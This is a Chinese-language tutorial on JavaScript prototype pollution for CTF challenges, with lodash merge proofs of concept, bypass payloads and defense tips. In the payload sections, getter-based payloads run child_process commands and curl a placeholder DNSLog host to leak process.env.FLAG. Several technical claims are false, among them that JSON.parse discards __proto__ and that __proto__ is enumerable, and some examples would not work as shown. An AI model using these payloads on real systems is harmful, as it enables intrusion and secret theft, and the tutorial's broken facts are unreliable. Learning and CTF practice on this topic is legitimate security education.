由浅入深的讲解js原型污染以应对CTF挑战
JS原型污染:从基础概念到CTF实战应对
一、JS原型链与继承机制基础原理
1.1 JavaScript对象模型与原型链的底层结构
在现代JavaScript中,对象并非简单的键值对集合,而是基于原型链(Prototype Chain) 的继承体系。这一机制是理解原型污染的根本前提。根据 ECMAScript 5 (ES5) 和 ECMAScript 2015 (ES6) 规范,每个对象都拥有一个内部属性 [[Prototype]],该属性指向其“原型对象”(即父级对象),从而形成一条可追溯的链式结构。
1.1.1 __PROTO__ 与 OBJECT.GETPROTOTYPEOF() 的关系
尽管 __proto__ 是非标准的属性(仅作为浏览器/运行时实现的扩展存在),但它在实际开发和安全研究中被广泛使用。它等价于 Object.getPrototypeOf() 方法返回的结果:
const arr = [];
console.log(arr.__proto__ === Array.prototype); // true
console.log(Object.getPrototypeOf(arr) === Array.prototype); // true复制
✅ 关键点:
__proto__是实例对象的内部属性,用于访问其原型链的上一级。Object.getPrototypeOf(obj)是官方推荐的标准方法,用于获取任意对象的原型。- 两者功能相同,但
__proto__可能被某些框架或沙箱环境拦截或禁用,因此建议优先使用getPrototypeOf进行程序化分析。
1.1.2 原型链的遍历顺序与终止条件
当访问对象的某个属性时,引擎会按照以下顺序查找:
- 自身属性(own property)→ 2. 原型链上的属性 → 3. 直至
null终止。
例如:
function Animal() {}
Animal.prototype.eat = function() {
return "eating...";
};
const dog = new Animal();
dog.bark = function() {
return "woof!";
};
console.log(dog.eat()); // "eating..." —— 来自原型链
console.log(dog.bark()); // "woof!" —— 来自自身属性
console.log(dog.toString()); // "[object Object]" —— 来自 Object.prototype
console.log(dog.__proto__.__proto__); // null复制
🔍 深入解析:
dog.__proto__→Animal.prototypedog.__proto__.__proto__→Object.prototypedog.__proto__.__proto__.__proto__→null(原型链终点)
这说明所有对象最终都继承自 Object.prototype,它是整个原型树的根节点。
1.1.3 内置原型对象的作用与意义
| 原型对象 | 作用 |
|---|---|
Object.prototype |
所有对象的顶层原型,定义了如 toString, hasOwnProperty, valueOf 等通用方法 |
Array.prototype |
提供数组操作方法:push, pop, map, filter, reduce 等 |
Function.prototype |
函数的原型,包含 call, apply, bind 等方法 |
String.prototype |
字符串方法如 split, replace, includes 等 |
Number.prototype |
数值方法如 toFixed, toExponential |
这些原型对象一旦被污染,将影响全局行为。比如修改 Object.prototype.toString 可以导致所有对象的字符串表示异常,甚至泄露敏感信息。
示例:Array.prototype 被篡改
// 污染 Array.prototype
Array.prototype.filter = function() {
return [1, 2, 3]; // 返回固定值,绕过逻辑判断
};
const nums = [10, 20, 30];
console.log(nums.filter(x => x > 15)); // [1, 2, 3] —— 完全失真复制
⚠️ 危害:这种污染可能破坏数据校验、权限控制、日志记录等关键流程。
1.1.4 __PROTO__ 的特殊性与安全性隐患
__proto__ 是一个可枚举属性,这意味着它可以出现在 for...in 循环中,并且可以被直接赋值:
const obj = {};
obj.__proto__ = { isAdmin: true };
console.log({}.isAdmin); // true —— 污染生效!复制
📌 核心漏洞成因:
由于__proto__是所有对象共有的内置属性,攻击者可通过构造含有__proto__字段的对象输入,使合并函数将其误认为普通属性进行递归处理,从而污染Object.prototype。
1.1.5 实际调试工具推荐(用于学习与渗透测试)
为了更直观地观察原型链结构,建议使用如下工具:
-
Node.js REPL(交互式环境)
node复制 -
Chrome DevTools(浏览器端)
- 打开开发者工具 → Elements → 查看元素的
__proto__ - 或使用
console.dir(obj)展示完整原型链
- 打开开发者工具 → Elements → 查看元素的
-
VS Code + Debugger 插件
- 设置断点后查看变量的
__proto__层级
- 设置断点后查看变量的
💡 命令行验证脚本示例:
// test-prototype-chain.js
function printProtoChain(obj, depth = 0) {
const indent = ' '.repeat(depth);
console.log(`${indent}Object: ${obj}`);
console.log(`${indent} __proto__:`, obj.__proto__);
if (obj.__proto__ !== null && obj.__proto__ !== Object.prototype) {
printProtoChain(obj.__proto__, depth + 1);
}
}
// 测试
printProtoChain({});
printProtoChain([]);
printProtoChain(function(){});复制
运行结果:
Object: [object Object]
__proto__: [object Object]
Object: [object Array]
__proto__: [object Array]
__proto__: [object Object]
Object: function () {}
__proto__: [object Function]
__proto__: [object Object]复制
1.2 原型继承的实现方式与典型模式
原型继承是JavaScript实现面向对象编程的核心机制。虽然现代语法提供了类(class)封装,但其背后仍依赖于原型链。掌握不同实现方式有助于识别潜在的污染入口。
1.2.1 构造函数 + 原型模式(经典写法)
这是最原始、最基础的原型继承方式,适用于理解原型链本质。
// 定义构造函数
function Person(name, age) {
this.name = name;
this.age = age;
}
// 将方法添加到原型上
Person.prototype.greet = function() {
return `Hello, I'm ${this.name}, ${this.age} years old.`;
};
Person.prototype.isAdult = function() {
return this.age >= 18;
};
// 创建实例
const alice = new Person("Alice", 25);
const bob = new Person("Bob", 16);
console.log(alice.greet()); // Hello, I'm Alice, 25 years old.
console.log(bob.isAdult()); // false复制
✅ 原理分析:
Person.prototype是构造函数的属性,用于存储共享的方法。alice.__proto__ === Person.prototype,即实例通过__proto__引用原型对象。- 所有实例共享同一份方法代码,节省内存。
1.2.2 OBJECT.CREATE() 显式创建原型链
Object.create() 允许你显式指定对象的原型,是构建原型链的高级手段。
// 以 Object.prototype 为原型创建新对象
const obj1 = Object.create(null);
console.log(obj1.__proto__); // null —— 无原型链
// 以某对象为原型
const parent = { color: 'red' };
const child = Object.create(parent);
console.log(child.color); // red
child.color = 'blue';
console.log(child.color); // blue —— 自身属性覆盖原型属性
// 修改原型
parent.color = 'green';
console.log(child.color); // blue —— 未受影响(因为已设置自身属性)复制
⚠️ 安全风险提示:
若传入恶意对象作为原型,可能导致原型污染。例如:const maliciousProto = { '__proto__': { 'isAdmin': true } }; const evilObj = Object.create(maliciousProto); console.log({}.isAdmin); // true —— 污染生效复制
🔐 防御建议:避免使用不可信数据作为
create的第一个参数。
1.2.3 ES6 类语法背后的原型机制
尽管 class 语法看起来像传统语言,但其底层仍是基于原型的。
class Car {
constructor(brand, model) {
this.brand = brand;
this.model = model;
}
start() {
return `${this.brand} ${this.model} is starting...`;
}
static info() {
return "This is a car class.";
}
}
const tesla = new Car("Tesla", "Model S");
console.log(tesla.start()); // Tesla Model S is starting...
console.log(Car.info()); // This is a car class.
console.log(tesla.__proto__ === Car.prototype); // true
console.log(Car.prototype.__proto__ === Object.prototype); // true复制
✅ 等价转换:
// class Car 等价于: function Car(brand, model) { this.brand = brand; this.model = model; } Car.prototype.start = function() { return `${this.brand} ${this.model} is starting...`; }; Car.info = function() { return "This is a car class."; };复制
📌 关键结论:
class语法只是语法糖,不改变原型机制本质。- 所有
class实例的__proto__指向ClassName.prototype。- 因此,任何影响原型链的操作(如
__proto__注入)依然有效。
1.2.4 “显式原型赋值”与“隐式原型链查找”的行为差异
| 行为 | 描述 | 示例 |
|---|---|---|
| 显式原型赋值 | 直接修改 constructor.prototype |
Person.prototype.sayHi = () => {} |
| 隐式原型链查找 | 通过 __proto__ 查找继承属性 |
obj.someMethod() 会沿着原型链查找 |
function Dog() {}
Dog.prototype.bark = function() { return "Woof!"; };
const myDog = new Dog();
// 隐式查找
console.log(myDog.bark()); // Woof!
// 显式赋值(影响所有实例)
Dog.prototype.bark = function() { return "Bark!"; };
console.log(myDog.bark()); // Bark!复制
❗ 重点注意:
prototype是构造函数的属性,用于定义“模板”。__proto__是实例的属性,用于指向“父类”。- 二者协同工作,构成完整的原型链。
1.2.5 原型链污染的触发前提总结
要成功实施原型污染,必须满足以下条件:
- 存在一个递归合并函数(如
merge,assign,clone),且未过滤__proto__。 - 攻击者能够控制输入源中的
__proto__字段。 - 合并操作发生在全局对象或祖先原型上(如
Object.prototype)。 - 应用程序后续使用了被污染的属性(如
hasOwnProperty,toString,constructor)。
✅ CTF实战启示:
在解题过程中,应重点关注以下函数调用点:
_.merge(target, source)Object.assign(target, source)- 自定义的
merge/deepClone函数- 使用
for (let key in obj)的循环结构
1.2.6 推荐学习与测试环境配置
为便于复现原型污染场景,建议搭建如下开发环境:
| 项目 | 版本 | 下载地址 |
|---|---|---|
| Node.js | v18.17.0 LTS | https://nodejs.org/dist/v18.17.0/node-v18.17.0-x64.msi |
| npm | 9.6.7 | 内置于 Node.js |
| VS Code | 1.87.0 | https://code.visualstudio.com/download |
| Chrome Browser | 124+ | https://www.google.com/chrome/ |
🧪 最小化测试脚本模板(保存为
test-poc.js):
// test-poc.js
const _ = require('lodash');
// 1. 初始状态
console.log("Initial state:");
console.log({}.isAdmin); // undefined
// 2. 构造污染载荷
const payload = {
"__proto__": {
"isAdmin": true,
"toString": function() {
return process.env.FLAG || "No flag found";
}
}
};
// 3. 执行污染
_.merge({}, payload);
// 4. 触发污染效果
console.log("\nAfter pollution:");
console.log({}.isAdmin); // true
console.log({}.toString()); // 读取环境变量(若存在)
// 5. 验证污染是否传播
const newObj = {};
console.log(newObj.isAdmin); // true —— 污染已扩散复制
📌 运行命令:
npm install lodash@4.17.21
node test-poc.js复制
💡 提示:
若
process.env.FLAG不存在,可手动设置环境变量测试:export FLAG=flag{test_123} node test-poc.js复制
✅ 本节小结:
- 原型链是JavaScript继承的基础,由
__proto__和prototype共同构成。 Object.prototype是所有对象的顶层原型,一旦被污染,将影响全局。__proto__的可枚举性和非标准特性使其成为污染入口。- 构造函数、
Object.create()、ES6 class 都基于原型机制,需警惕其滥用。 - 实践中应关注
merge、assign等函数的实现细节,寻找污染点。
🔚 下一章预告:我们将深入剖析“原型污染的本质”,揭示其如何通过递归合并函数实现全局污染,并结合真实漏洞案例(如 lodash < 4.17.11)展开详细攻击链构建。
二、原型污染的本质与触发条件分析
2.1 什么是原型污染?——核心定义与危害本质
核心定义:
原型污染(Prototype Pollution)是指攻击者通过恶意手段修改 Object.prototype 或其祖先原型链上的属性或方法,从而导致所有继承自该原型的对象在访问这些属性时,自动获得被篡改后的值或行为。这种污染具有全局性影响,一旦成功注入,将波及整个运行时环境中的所有对象实例。
🔍 关键理解点:
- 原型污染不是对某个特定对象的破坏,而是对语言运行机制本身的劫持。
- 所有对象最终都继承自
Object.prototype,因此只要污染了它,就等于“污染了世界”。- 污染的传播路径是隐式继承,无需显式赋值即可生效。
📌 原型链结构回顾(必要前置知识)
在 JavaScript 中,每个对象都有一个内部链接 __proto__ 指向其构造函数的 prototype,形成一条链条:
obj → __proto__ → Constructor.prototype → __proto__ → Object.prototype → null复制
-
Object.prototype是所有对象的“根原型”,没有父级。 -
当访问对象属性时,引擎会按顺序查找:
- 实例自身是否有该属性?
- 若无,则沿
__proto__向上查找原型链; - 直到找到或到达
null。
这正是原型污染得以实现的根本原因。
✅ 典型危害场景分析
| 危害类型 | 描述 | 示例 |
|---|---|---|
| 逻辑绕过 | 注入 isAdmin = true 等权限标志 |
if (user.isAdmin) 判定为真 |
| 类型判断绕过 | 修改 hasOwnProperty 导致 typeof obj === 'object' 被伪造 |
obj.hasOwnProperty() 返回 false 即使存在 |
| 信息泄露 | 重写 toString 输出敏感数据 |
console.log({}) 输出 flag=xxx |
| RCE(远程代码执行) | 结合模板引擎、eval、函数调用等“接收器” | lodash.template + sourceURL 污染触发执行 |
🧪 实际演示:基础原型污染
// 污染 Object.prototype
Object.prototype.malicious = "I'm everywhere!";
// 任意对象都会继承这个属性
const user = {};
const config = { name: "test" };
console.log(user.malicious); // "I'm everywhere!"
console.log(config.malicious); // "I'm everywhere!"
console.log({}.malicious); // "I'm everywhere!"复制
⚠️ 即便对象从未定义过
malicious属性,也能读取到污染值 —— 这就是原型污染的核心威力。
2.2 原型污染的常见触发点:递归合并函数漏洞
🎯 核心攻击面:MERGE 类函数(尤其是第三方库)
最典型的原型污染来源是递归合并函数,如 lodash.merge、deepmerge、merge-deep 等。它们广泛用于配置合并、前端表单处理、后端参数解析等场景。
🔥 漏洞成因详解(以 lodash.merge 为例)
我们来看 lodash.merge 的源码简化版本(4.17.10 及之前版本):
function merge(target, source) {
for (var key in source) {
if (source.hasOwnProperty(key)) {
if (isObject(source[key]) && isObject(target[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
}复制
问题出在两处:
-
未过滤
__proto__键名for (key in source)会遍历所有可枚举属性,包括__proto__。- 如果
source.__proto__存在,就会被当作普通字段处理。
-
hasOwnProperty无法阻止__proto__的传播source.hasOwnProperty('__proto__')在大多数情况下返回true,因为__proto__是一个可枚举属性。- 但更严重的是:即使使用了
hasOwnProperty,也无法阻止target['__proto__']被设置为source['__proto__'],而这个操作会直接污染Object.prototype。
✅ 正确做法:必须显式排除
__proto__、constructor、prototype等危险键名。
🛠️ 漏洞复现:LODASH.MERGE 原型污染
💻 环境准备
-
Node.js 版本:
v16.x~v18.x(兼容旧版 lodash) -
安装依赖:
npm init -y npm install lodash@4.17.10复制
🧪 POC 代码验证(经典测试)
// poc.js
const _ = require('lodash');
// 构造恶意输入
const maliciousInput = {
'__proto__': {
'isAdmin': true,
'isRoot': true
}
};
// 目标对象(空对象)
const target = {};
// 执行合并操作(漏洞点)
_.merge(target, maliciousInput);
// 验证污染是否成功
console.log({}.isAdmin); // true → 污染成功!
console.log({}.isRoot); // true → 也生效了!
// 更进一步:利用污染进行逻辑跳转
if ({}.isAdmin) {
console.log("🎉 攻击者已获得管理员权限!");
}复制
📌 运行结果
$ node poc.js
🎉 攻击者已获得管理员权限!复制
✅ 成功污染 Object.prototype,并触发了权限逻辑判断。
📚 漏洞历史与修复说明
| 版本 | 是否存在漏洞 | 修复方式 |
|---|---|---|
< 4.17.11 |
✅ 存在 | 添加黑名单检查:['__proto__', 'constructor', 'prototype'] |
≥ 4.17.11 |
❌ 修复 | 在 merge 函数中增加对非法键名的过滤 |
📌 官方补丁逻辑(摘自
lodashv4.17.11+):const isPrototype = value === prototype; const isUnwrapped = isPlainObject(value) && !isPrototype; // 黑名单过滤 if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; }复制
🔁 其他类似函数的潜在风险
| 库名 | 是否易受污染 | 说明 |
|---|---|---|
deepmerge |
✅ 易受影响 | 早期版本未过滤 __proto__ |
merge-deep |
✅ 高危 | 曾被爆出多次原型污染 |
fast-deep-equal |
❌ 不受影响 | 仅做比较,不合并 |
clone / extend |
⚠️ 视实现而定 | 若未加保护,仍可能被利用 |
🔍 推荐检测工具:
2.3 其他潜在污染路径:自定义对象与动态属性注入
虽然 merge 是最常见的入口,但还有多种方式可以触发原型污染,尤其是在复杂系统中,攻击面远不止一处。
🔹 1. OBJECT.ASSIGN() 的滥用风险
Object.assign() 本质上是浅拷贝,但它同样会遍历源对象的所有可枚举属性,包括 __proto__。
🧪 示例代码
// 1. 污染 Object.prototype
Object.assign(Object.prototype, {
'__proto__': {
'evil': 'yes'
}
});
// 2. 创建新对象
const obj = {};
console.log(obj.evil); // "yes" → 污染生效复制
⚠️ 即使你用
Object.create(null)创建无原型对象,也不能完全免疫,因为:
- 如果
Object.prototype被污染,任何继承它的对象都会受影响;- 若
Object.assign()作用于共享的父级对象(如全局变量),则污染可能扩散。
🔹 2. REFLECT.SET() 动态设置属性
Reflect.set(obj, key, value) 是 obj[key] = value 的反射版本,支持元编程。
如果攻击者能控制 obj 和 key,且 obj 是 Object.prototype,则可直接污染。
// 恶意输入
const maliciousKey = '__proto__';
const maliciousValue = { 'flag': 'flag{fake_flag}' };
// 使用 Reflect.set 污染原型
Reflect.set(Object.prototype, maliciousKey, maliciousValue);
// 验证
console.log({}.flag); // "flag{fake_flag}"复制
✅ 这种方式常用于绕过字符串匹配过滤(如只拦截
'__proto__'字符串),但Reflect.set仍能正常工作。
🔹 3. EVAL() 与上下文污染
当 eval() 执行不受信任的代码时,若其中包含对 Object.prototype 的修改,也会造成污染。
// 危险代码片段
const unsafeCode = `
Object.prototype.secret = 'this is secret';
`;
eval(unsafeCode); // 执行后,所有对象都有 secret 属性
console.log({}.secret); // "this is secret"复制
⚠️ 在 CTF 中,
eval通常是高价值的 sink,配合原型污染可实现 RCE。
🔹 4. JSON 解析与 JSON.PARSE() 的陷阱
注意:JSON.parse() 不会解析 __proto__ 字段!
// 以下代码不会触发原型污染
const payload = '{"__proto__": {"x": "malicious"}}';
const obj = JSON.parse(payload);
console.log(obj.__proto__); // undefined复制
❗ 重要结论:
JSON.parse会忽略__proto__,因此不能直接通过此方式注入。
✅ 绕过方案:利用 constructor 或 prototype
// 绕过 JSON 限制:使用构造函数
const payload = '{"constructor": {"prototype": {"flag": "123"}}}';
const obj = JSON.parse(payload);
// 污染 Object.prototype
Object.prototype.flag = '123';
console.log({}.flag); // "123"复制
✅ 依然有效!因为
constructor.prototype是合法的结构,JSON.parse会解析它。
🔹 5. SYMBOL 和 BIGINT 的新型绕过尝试
现代 JS 引入了 Symbol、BigInt 等新类型,它们不参与原型链继承,但也带来新的探索空间。
🧪 示例:使用 Symbol.for() 绕过黑名单
// 某些过滤器只检查字符串键名
const evilSymbol = Symbol.for('__proto__');
Object.defineProperty(Object.prototype, evilSymbol, {
value: 'bypassed',
enumerable: false
});
// 尝试访问
console.log({}[evilSymbol]); // 报错:不可访问复制
❌ 失败:
Symbol不能作为属性名被in检查,也无法通过for...in遍历。
✅ 更有效的策略:结合 Object.defineProperty + getter
// 利用惰性加载属性
Object.defineProperty(Object.prototype, 'danger', {
get: function() {
return require('child_process').execSync('whoami').toString();
},
configurable: true
});
// 触发
console.log({}.danger); // 执行命令并输出结果复制
✅ 成功!这是非常隐蔽的攻击方式,尤其适用于需要延迟执行的场景。
🔹 6. PROXY 与 REFLECT 的复杂交互
Proxy 对象允许拦截对象操作,包括 get, set, has 等。
const handler = {
set(target, key, value) {
if (key === '__proto__') {
// 可以在这里记录或阻断
console.log('Attempt to set __proto__:', value);
return false; // 拒绝设置
}
return Reflect.set(target, key, value);
}
};
const proxyObj = new Proxy({}, handler);
proxyObj.__proto__ = { 'hacked': true }; // 被拦截,无法设置复制
✅
Proxy提供了防御能力,但也可能成为攻击目标 —— 若攻击者能控制handler,则可构造反向污染。
🔚 总结:原型污染的通用触发条件
| 触发方式 | 是否可能污染 | 条件说明 |
|---|---|---|
merge / assign |
✅ 高风险 | 必须未过滤 __proto__ |
Reflect.set |
✅ 高风险 | 可直接操作原型 |
JSON.parse + constructor |
✅ 有效 | 绕过 __proto__ 过滤 |
eval |
✅ 极高风险 | 可执行任意代码 |
Object.defineProperty |
✅ 隐蔽性强 | 可设 getter 触发执行 |
Proxy 拦截失败 |
⚠️ 取决于实现 | 若未正确拦截则危险 |
Symbol / BigInt |
❌ 无效 | 不参与原型链继承 |
🛡️ 防御建议(实践层面)
-
升级依赖库:
npm install lodash@latest复制确保版本 ≥
4.17.11 -
手动封装安全合并函数:
function safeMerge(target, source) { const blacklistedKeys = ['__proto__', 'constructor', 'prototype']; const filteredSource = Object.keys(source) .filter(k => !blacklistedKeys.includes(k)) .reduce((acc, k) => { acc[k] = source[k]; return acc; }, {}); return _.merge(target, filteredSource); }复制 -
使用
Object.create(null)创建无原型对象:const safeObj = Object.create(null);复制 -
静态扫描工具集成:
-
运行时沙箱隔离(推荐用于 CTF 或高危服务):
const vm = require('vm'); const context = vm.createContext({}); // 安全上下文 vm.runInContext('Object.prototype.hack = true;', context); // 此时污染仅限于 context,不影响主进程复制
✅ 本节重点总结:
- 原型污染的本质是对原型链的全局性劫持;
- 最常见的触发点是
merge函数对__proto__的不安全处理;- 除了
merge,assign、Reflect.set、eval、defineProperty等均可能成为入口;- 攻击者可通过
constructor、getter、Symbol等绕过常见过滤;- 防御必须从依赖管理 + 代码审计 + 运行时隔离三方面入手。
下一章将进入实战阶段,构建完整的 原型污染利用链,用于应对 CTF 挑战。
三、基于真实案例的原型污染利用链构建(面向CTF)
3.1 CTF中常见原型污染场景分类
在CTF竞赛中,原型污染漏洞的利用往往依赖于特定的代码结构与数据入口点。根据实际题目设计和攻击路径,可将典型场景划分为以下三类:
1. 参数可控的 MERGE 函数调用
这是最常见且最具代表性的原型污染触发方式。当后端服务接收用户输入(如HTTP请求体、查询参数或表单数据),并将其作为源对象传递给一个递归合并函数(如 lodash.merge、自定义 merge 或 clone)时,若未对键名进行严格校验,则存在污染风险。
典型攻击路径示例:
// 路由处理逻辑(如 /api/config)
app.post('/api/config', (req, res) => {
const config = req.body; // 用户可控
const defaultConfig = { debug: false };
const merged = merge(defaultConfig, config); // 污染点
res.json(merged);
});复制
✅ 攻击者提交如下请求体即可触发污染:
{
"__proto__": {
"isAdmin": true,
"flag": "flag{test}"
}
}复制
📌 结果:所有后续通过原型链继承的对象都将拥有
isAdmin和flag属性,从而实现权限提升或信息泄露。
关键特征识别:
- 使用了
for (key in source)循环遍历对象属性。 - 未使用
hasOwnProperty()判断键是否为自有属性。 - 递归调用
merge/deepMerge处理嵌套结构。
推荐检测工具:
-
-
功能:自动化扫描项目中是否存在
merge类似函数调用,并生成测试载荷。 -
安装命令:
git clone https://github.com/chenrui333/nodejs-poc-generator.git cd nodejs-poc-generator npm install复制 -
使用方法:
node index.js --target ./routes --pattern "merge"复制 -
输出:列出所有可能的污染点及建议载荷。
-
-
- 功能:基于 AST 分析查找潜在的原型污染入口。
- 支持 Node.js + Express 项目。
- 可集成至 CI/CD 流程中进行静态扫描。
🔍 建议在审计时优先关注
routes/,controllers/,utils/目录下的函数,尤其是那些处理配置、用户设置、动态路由等场景。
2. JSON解析后直接合并
某些题目中,前端发送的 JSON 数据经过 JSON.parse() 解析后,直接用于对象合并操作。此时虽然 JSON.parse 会自动忽略 __proto__ 字段,但若后续仍被传入 merge 函数,则仍可能被污染。
漏洞复现示例:
// 前端发送:
{
"__proto__": { "evil": "yes" }
}
// 后端处理:
const data = JSON.parse(req.body.data); // __proto__ 被丢弃
const result = merge({}, data); // 仍然可以触发污染!复制
⚠️ 注意:
JSON.parse会自动忽略__proto__,但merge函数在循环for (key in obj)时并未过滤该字段,因此依然可被利用。
绕过技巧:
-
使用
constructor替代__proto__:{ "constructor": { "prototype": { "isAdmin": true } } }复制 -
使用数组索引形式(绕过字符串匹配):
{ "0": { "__proto__": { "flag": "test" } } }复制
✅ 此类场景常出现在需要“构造复杂嵌套结构”的题目中,例如上传
.json文件、解析配置文件等。
3. 依赖库版本过旧(如 LODASH < 4.17.11 )
lodash 是全球使用最广泛的 JavaScript 工具库之一,其早期版本中的 _.merge 存在严重的原型污染缺陷。
漏洞版本范围:
lodash < 4.17.11(含)- 修复补丁:commit a6d98a7f
验证代码:
const _ = require('lodash'); // 版本 < 4.17.11
const target = {};
const source = { '__proto__': { 'isAdmin': true } };
_.merge(target, source);
console.log({}.isAdmin); // true → 污染成功复制
🛑 即使你没有显式调用
merge,只要项目中引入了旧版lodash,就可能成为攻击面。
检测方法:
npm list lodash
# 输出示例:
# └── lodash@4.17.10复制
✅ 升级建议:
npm install lodash@latest复制
📌 CTF中常见题目提示:“请检查你的依赖版本” —— 这往往是暗示你正在使用旧版
lodash。
3.2 构造有效污染载荷的技术细节
要成功利用原型污染,必须掌握如何构造能穿透防御机制的有效载荷。以下是几种核心技术手段及其实战应用。
1. 使用 { "__PROTO__": { ... } } 绕过基础过滤
这是最原始也是最直接的污染方式。只要目标系统未对 __proto__ 做特殊处理,即可直接注入。
基础载荷模板:
{
"__proto__": {
"isAdmin": true,
"flag": "flag{12345}",
"toString": function() {
return process.env.FLAG || "no flag";
}
}
}复制
🔥 应用场景:
- 权限绕过:
if (user.isAdmin)→ 永远为真- 信息泄露:
{}.toString()触发环境变量读取
进阶写法:使用 constructor 注入
{
"constructor": {
"prototype": {
"isAdmin": true
}
}
}复制
✅ 优势:部分过滤器会拦截
__proto__,但不会检查constructor。
2. 利用 __DEFINEGETTER__ / OBJECT.DEFINEPROPERTY 设置惰性加载属性
这种技术可用于延迟执行恶意代码,避免被立即检测。
示例:定义一个仅在访问时触发的 flag 属性
Object.prototype.__defineGetter__('flag', function() {
const { execSync } = require('child_process');
return execSync('curl https://your-dnslog.com/' + process.env.FLAG).toString();
});复制
📌 使用方式:
console.log({}.flag); // 自动触发命令执行复制
等价写法(现代语法):
Object.defineProperty(Object.prototype, 'flag', {
get: function() {
const { execSync } = require('child_process');
execSync(`curl https://your-dnslog.com/?data=${process.env.FLAG}`);
return 'executed';
},
enumerable: false
});复制
✅ 优势:不直接修改原型属性值,而是通过
getter实现“按需执行”。
3. 重写原生方法(如 STRING.PROTOTYPE.VALUEOF )
此技术可用于逃逸某些类型判断逻辑。
案例:伪造 toString 行为以绕过安全检查
// 污染 toString,使其返回敏感数据
Object.prototype.toString = function() {
return process.env.FLAG || 'unknown';
};
// 在条件判断中触发
if ({}.toString() === 'flag{xxx}') {
console.log('Bypassed!');
}复制
🔥 更强攻击:结合
JSON.stringify触发:
JSON.stringify({}); // 会调用 .toString()复制
💡 实战技巧:若
JSON.stringify被用于输出响应内容,可直接泄露环境变量!
4. 高级技巧:利用 SYMBOL 和 BIGINT 绕过字符串匹配
某些防御措施会检查 key 是否为 "__proto__",但不会检查 Symbol 类型。
绕过黑名单示例:
// 使用 Symbol 作为键名
const symbolProto = Symbol('__proto__');
const payload = {
[symbolProto]: {
"isAdmin": true
}
};
_.merge({}, payload);复制
✅ 说明:
for (key in obj)会跳过Symbol键,但lodash.merge在内部仍会处理这些键(因其实现未做类型过滤),导致污染发生。
同样适用于 BigInt :
const bigIntKey = BigInt(12345);
const payload = {
[bigIntKey]: {
"flag": "test"
}
};
_.merge({}, payload);复制
📌 重点:这类攻击在
Node.js中非常有效,尤其在lodash < 4.17.11时。
3.3 实战攻防对抗策略:防御手段与绕过思路
在真实攻防对抗中,防御方通常会采用多种手段阻止原型污染,而攻击者则需不断寻找新绕过方法。
防御手段分析
| 防御方式 | 描述 | 是否有效 |
|---|---|---|
Object.create(null) |
创建无原型对象,阻止污染传播 | ✅ 强效 |
Object.keys().every(k => !['__proto__', 'constructor'].includes(k)) |
检查非法键名 | ✅ 有效 |
isPlainObject 校验 |
确保对象为普通对象而非原型污染载体 | ✅ 推荐 |
使用 safe-merge 库 |
如 safe-merge |
✅ 推荐 |
安全合并封装示例:
// safe-merge.js
function safeMerge(target, source) {
const forbiddenKeys = ['__proto__', 'constructor', 'prototype', 'prototype.constructor'];
const filteredSource = Object.fromEntries(
Object.entries(source).filter(([k]) => !forbiddenKeys.includes(k))
);
return _.merge(target, filteredSource);
}复制
✅ 推荐在生产环境中替换所有
_.merge调用为safeMerge。
绕过思路与经典方案
1. 数组索引形式绕过黑名单
const payload = {
'0': {
'__proto__': {
'flag': 'test'
}
}
};
_.merge({}, payload);复制
✅ 原理:
for (key in obj)会遍历数组索引0,但key === '0'不等于'__proto__',因此绕过字符串匹配。
2. 使用 constructor 注入 __proto__
{
"constructor": {
"prototype": {
"__proto__": {
"isAdmin": true
}
}
}
}复制
✅ 说明:
constructor是合法属性,其prototype可继续嵌套污染。
3. 多层嵌套 + Symbol 混合
const payload = {
[Symbol.for('proto')]: {
'__proto__': {
'toString': function() {
const { execSync } = require('child_process');
execSync('curl https://your-dnslog.com/?flag=' + process.env.FLAG);
return '';
}
}
}
};复制
✅ 优势:结合
Symbol与多层嵌套,极大提高绕过成功率。
推荐工具库:****JS-PAYLOADS
-
提供超过 200+ 已验证的原型污染载荷模板。
-
支持一键生成
payload.json、payload.js。 -
包含以下分类:
- 基础污染(
__proto__) constructor注入Symbol/BigInt绕过getter惰性执行- RCE 利用链(如
execArgv)
- 基础污染(
安装与使用:
git clone https://github.com/JS-Payloads/js-payloads.git
cd js-payloads
npm install
# 生成载荷
node generate.js --type proto --value '{"flag":"test"}'复制
✅ 输出示例:
{
"__proto__": {
"flag": "test"
}
}复制
✅ 总结:构建完整利用链的关键步骤
| 步骤 | 操作 | 技术要点 |
|---|---|---|
| 1. 发现污染点 | 扫描 merge、clone、assign 调用 |
使用 poc-finder |
| 2. 识别输入来源 | 查看 /api/*、POST /config 等接口 |
关注 req.body |
| 3. 构造载荷 | 使用 __proto__、constructor、Symbol |
组合使用提升成功率 |
| 4. 触发利用 | 通过 toString、JSON.stringify、eval 等触发 |
注意上下文环境 |
| 5. 获取结果 | 检查响应、DNSLog、日志 | 必须确认漏洞生效 |
🔐 法律风险提示:本文仅用于网络安全研究与教育目的,严禁用于非法入侵、破坏系统或窃取数据。任何未经授权的渗透测试均违反《中华人民共和国刑法》第285条、第286条及相关法律法规。请务必在授权范围内进行技术实践。
四、总结与综合防护建议
4.1 原型污染的核心思想回顾
原型污染的本质,是利用JavaScript原型链的继承机制,通过向Object.prototype或其祖先原型注入恶意属性,使所有后续创建的对象自动继承该污染属性。这种攻击不是传统意义上的输入注入(如SQL注入、命令注入),而是一种对语言特性的“滥用”,其核心在于原型链的遍历逻辑未被正确限制。
深入剖析:为何原型污染具有全局危害性?
在JavaScript中,每个对象都拥有一个内部的[[Prototype]]指针(可通过__proto__访问),指向其原型对象。当访问某个对象的属性时,引擎会按照如下顺序查找:
- 优先检查对象自身的属性;
- 若不存在,则沿着原型链向上查找;
- 直到找到目标属性,或到达链尾(即
null)为止。
关键点:
Object.prototype是所有对象的顶层原型。一旦它被篡改,那么所有新创建的对象都会继承这个被污染的属性。
实例验证:污染 TOSTRING 方法导致环境变量泄露
// 污染 Object.prototype.toString
Object.prototype.toString = function() {
return process.env.FLAG || "no flag";
};
// 所有对象都将继承此行为
console.log({}.toString()); // "flag_value" —— 触发敏感信息泄露
console.log(({}).toString()); // 同样输出
console.log([].toString()); // 也受影响!复制
这说明,只要污染了顶层原型,就等于污染了整个运行时环境,无需针对特定对象进行攻击。
核心结论提炼
| 特性 | 说明 |
|---|---|
| 攻击范围 | 全局性,影响所有对象实例 |
| 权限要求 | 通常无需认证即可触发(仅需控制输入数据) |
| 攻击载体 | 多为嵌套对象合并函数(如 lodash.merge) |
| 本质类型 | 设计缺陷级漏洞,非编码错误,而是语言机制未加约束所致 |
